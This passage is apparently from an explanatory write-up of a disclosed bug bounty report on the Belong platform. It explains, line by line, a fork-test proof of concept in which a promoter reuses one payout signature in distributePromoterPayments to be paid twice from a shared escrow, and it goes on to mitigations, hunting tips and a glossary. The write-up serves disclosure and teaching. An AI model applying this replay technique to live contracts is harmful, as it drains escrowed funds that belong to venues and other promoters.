  [venue, referralCode, uri, chainId],
);
const venueSignature = EthCrypto.sign(signer.privateKey, venueMessage);

Line by line: solidityKeccak256 builds a hash the same way the contract would. The first argument lists the types of the values being hashed: an address, a 32-byte value, a string and a number. The second argument supplies the actual values: the venue address, the referral code, a URI (a text identifier for the venue) and the chain ID. EthCrypto.sign then signs that hash with the signer's private key, producing the signature.

The test then calls venueDeposit from the USDC whale, after approving a total that covers the affiliate payment, the convenience fee and the deposit itself. Approval is the standard token mechanism: a token holder must first tell the token contract that another contract is allowed to move a certain amount on their behalf. This step puts funds into the escrow that the later payout will draw from.

Step 2: generate promoter credit through a customer payment

Next the test creates the promoter's credit by having a customer pay the venue. It signs a customer message covering the payment currency flag, the visit bounty amount, the spend bounty percentage, the customer, the venue, the promoter, the amount and the chain ID:

TS
const customerMessage = ethers.utils.solidityKeccak256(
  ['bool', 'uint128', 'uint24', 'address', 'address', 'address', 'uint256', 'uint256'],
  [
    true, // paymentInUSDC
    await u(1, USDC), // visitBountyAmount (uint24, adjust to uint256 if needed)
    1000, // spendBountyPercentage (uint24, adjust to uint256 if needed)
    ENA_whale.address, // customer
    USDC_whale.address, // venueToPayFor
    referral.address, // promoter
    customerAmount, // amount
    chainId, // block.chainid
  ],
);

Line by line: the type list says the message contains a true/false flag, two smaller integers, three addresses, and two full-size integers. The values are: true for paying in USDC; one USDC unit as the visit bounty; 1000 as the spend bounty percentage; the ENA whale as the customer; the USDC whale as the venue being paid; the referral account as the promoter; the customer amount; and the chain ID. The comments in the original explain each value.

After payToVenue runs, the promoter holds promoter tokens for the venue. The test reads that balance:

TS
const promoterBalance_promoterToken_before = await promoterToken.balanceOf(
  referral.address,
  await helper.getVenueId(USDC_whale.address),
);

Line by line: balanceOf asks the promoter token contract how many tokens a given account holds. It takes the promoter's address and a venue ID, which is obtained by asking the helper contract to translate the venue's address into its numeric ID. The result is stored for later use.

Step 3: obtain one payout signature

The signer signs a single message for an amount of 750000:

TS
const promoterMessage = ethers.utils.solidityKeccak256(
  ['address', 'address', 'uint256', 'uint256'],
  [
    referral.address, // promoter
    USDC_whale.address, // venue
    750000, // amountInUSD
    chainId, // block.chainid
  ],
);

const promoterSignature = EthCrypto.sign(signer.privateKey, promoterMessage);

Line by line: the hash is built from exactly four values, matching the four values the contract hashes: the promoter address, the venue address, the amount 750000, and the chain ID. The signature is then produced with the signer's private key. This is the one and only signature the test will use for payouts.

That signature is placed in a PromoterInfo structure with paymentInUSDC: true, along with the promoter, venue and amount.

Step 4: call the payout twice with the same struct

The test calls the function twice, back to back, with the identical promoterInfo object:

TS
const tx = await belongCheckIn.connect(referral).distributePromoterPayments(promoterInfo);
const tx1 = await belongCheckIn.connect(referral).distributePromoterPayments(promoterInfo);

Line by line: connect(referral) means the call is made as the referral account, the promoter. distributePromoterPayments(promoterInfo) is the payout function, given the same structure both times. The two results are stored in tx and tx1. Nothing between the two lines changes the signature or the structure.

The observed result, as recorded in the report:

Text
✔ distributePromoterPayments() (full amount) (1858ms)

Promoter was able to claim with the same signature twice

The tick mark means the test passed, and the message states the outcome plainly: the promoter claimed twice with one signature. The escrow pays out twice for one signed intent.

Why it works

The signed payload is keccak256(abi.encodePacked(promoter, venue, amountInUSD, block.chainid)). It is a pure statement of intent, "pay this promoter this amount at this venue on this chain", with no state attached. The payout function then does the following, in order:

SOL
function distributePromoterPayments(PromoterInfo memory promoterInfo) external {
    BelongCheckInStorage memory _storage = belongCheckInStorage;

    _storage.contracts.factory.nftFactoryParameters().signerAddress.checkPromoterPaymentDistribution(promoterInfo);

    uint256 venueId = promoterInfo.venue.getVenueId();

    uint256 promoterBalance = _storage.contracts.promoterToken.balanceOf(promoterInfo.promoter, venueId);
    require(
        promoterBalance >= promoterInfo.amountInUSD, NotEnoughBalance(promoterInfo.amountInUSD, promoterBalance)
    );

Line by line: the function is public (external) and takes the payout details. It loads the contract's stored configuration into a local variable. It asks the factory for the authorised signer address and calls the verifier on it, which reverts the whole call if the signature is wrong. It converts the venue address into a venue ID. It reads the promoter's token balance for that venue. It requires that balance to be at least the requested amount, and reverts with NotEnoughBalance otherwise.

Later in the function, the contract calculates the platform fee from the promoter's staking tier, sends the fee portion and the remainder out of the escrow, and finally burns amountInUSD of the promoter's tokens. Nothing anywhere records that this particular signature has already been used.

The balance check is a rate limiter, not a replay defence. As soon as the promoter's balance is replenished to at least amountInUSD again, the same signature is accepted once more. The report also notes that a promoter can replay if their credit balance is replenished or they have surplus.

The signature check itself only proves that the platform's signer authorised a payout of that amount to that promoter at that venue. It does not prove freshness or single use, so it does not stop the replay.

What it means for the platform

A promoter can claim more than the signer intended, draining the venue escrow balance. Because the escrow is shared, other promoters may then be unable to claim due to depleted funds. The report frames this as theft of unclaimed yield and rates it Medium, describing the outcome as unauthorised over-payments that can result in theft or draining of escrowed funds.

How to fix it

The report lists mitigations rather than a change that was made:

  1. Include a nonce, unique identifier or timestamp in the signed payload and track used nonces, for example a mapping of signer to nonce to used, so signatures cannot be replayed. A nonce is a number used once, like a serial number on a receipt.
  2. Alternatively, include a cumulative withdrawn amount or a per-promoter incremental counter in the signed message and check and update it during distribution.
  3. Require the signer to sign the specific promoter token balance or a unique claim ID that is burned or marked when used.

The report explicitly says not to implement changes in the report itself and presents these as general mitigations derived from the issue.

Other places to look

  • Look for other functions that verify a signature over a fixed set of addresses and amounts without a nonce or deadline. A positive result is a second successful call with an identical signature and structure.
  • Check whether the signed payload includes block.chainid but not the verifying contract address. If it does not, a signature produced for one deployment may be accepted by another on the same chain; a positive result is a payout on a second contract instance using a signature from the first.
  • Check whether the amount is signed but the payment currency flag is not.

How to hunt for this kind of bug

Signature replay bugs cluster in payout, withdrawal and claim functions where an off-chain signer authorises an amount and the contract treats the signature as a one-time coupon. The signal during review is a hash built only from addresses, amounts and the chain ID, with no nonce, deadline, or per-user counter, and a function that checks a balance and then decrements or burns it. If the balance can be topped up, the signature is effectively reusable.

The researcher demonstrated impact with a fork test that performs the full flow, from venue deposit through customer payment to two identical payout calls. That end-to-end demonstration, rather than a description of the missing nonce alone, is what establishes that the escrow actually pays out twice.

Glossary

  • Address: a short identifier for an account or contract on a blockchain, written in hexadecimal.
  • Approval: a token holder's permission for another contract to move a set amount of their tokens.
  • Blockchain: a shared record book kept by many computers, where entries are hard to change after the fact.
  • Burn: to destroy tokens permanently, reducing the total supply or a holder's balance.
  • Chain ID: a number identifying which blockchain network a transaction is meant for.
  • Contract: a program stored on a blockchain that anyone can call and whose rules are fixed once deployed.
  • Escrow: a holding account that keeps funds until they are paid out to the right party.
  • External: a Solidity keyword meaning a function can be called from outside the contract.
  • Factory: a contract that creates other contracts and stores platform-wide settings.
  • Fork: a copy of a blockchain's state at a chosen moment, used for testing without touching the real network.
  • Function: a named action inside a contract that takes inputs and does something.
  • Hash: a fixed-length fingerprint of some data; the same input always gives the same output and it cannot be reversed.
  • Hardhat: a toolkit for building and testing smart contracts.
  • Impersonation: in testing, pretending to be an existing account so you can act as it.
  • Keccak256: the hashing function used by Ethereum and compatible chains.
  • LONG: the platform's own token.
  • Nonce: a number used once, included in a message to make it unique and prevent reuse.
  • Private key: a secret number that lets its holder create signatures.
  • Promoter: a person who brings customers to venues and earns credit for it.
  • Promoter token: a per-venue credit token that entitles a promoter to a payout.
  • Public address: the identifier derived from a private key, used to check signatures.
  • Require: a Solidity check that reverts the whole call if its condition is false.
  • Revert: to cancel a transaction and undo its effects.
  • Signature: cryptographic data proving that the holder of a private key approved a specific message.
  • Signature replay: reusing a valid signature more than once because the contract does not record that it was already used.
  • Smart contract: see Contract.
  • Solidity: the programming language used to write contracts on Ethereum and compatible chains.
  • Staking tier: a level that determines what fee percentage the platform takes.
  • Struct: a bundle of related values grouped under one name.
  • Test fixture: a setup routine that prepares contracts and accounts before a test runs.
  • Token: a digital asset managed by a contract on a blockchain.
  • Transaction: a recorded call or transfer on a blockchain.
  • TypeScript: a programming language used here to write the test.
  • Uniswap: a set of contracts that swap one token for another.
  • USDC: a digital dollar coin.
  • Venue: a place or business that receives customers and holds deposits.
  • View: a Solidity keyword meaning a function only reads data and changes nothing.
  • Whale: an account holding a very large amount of a token.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.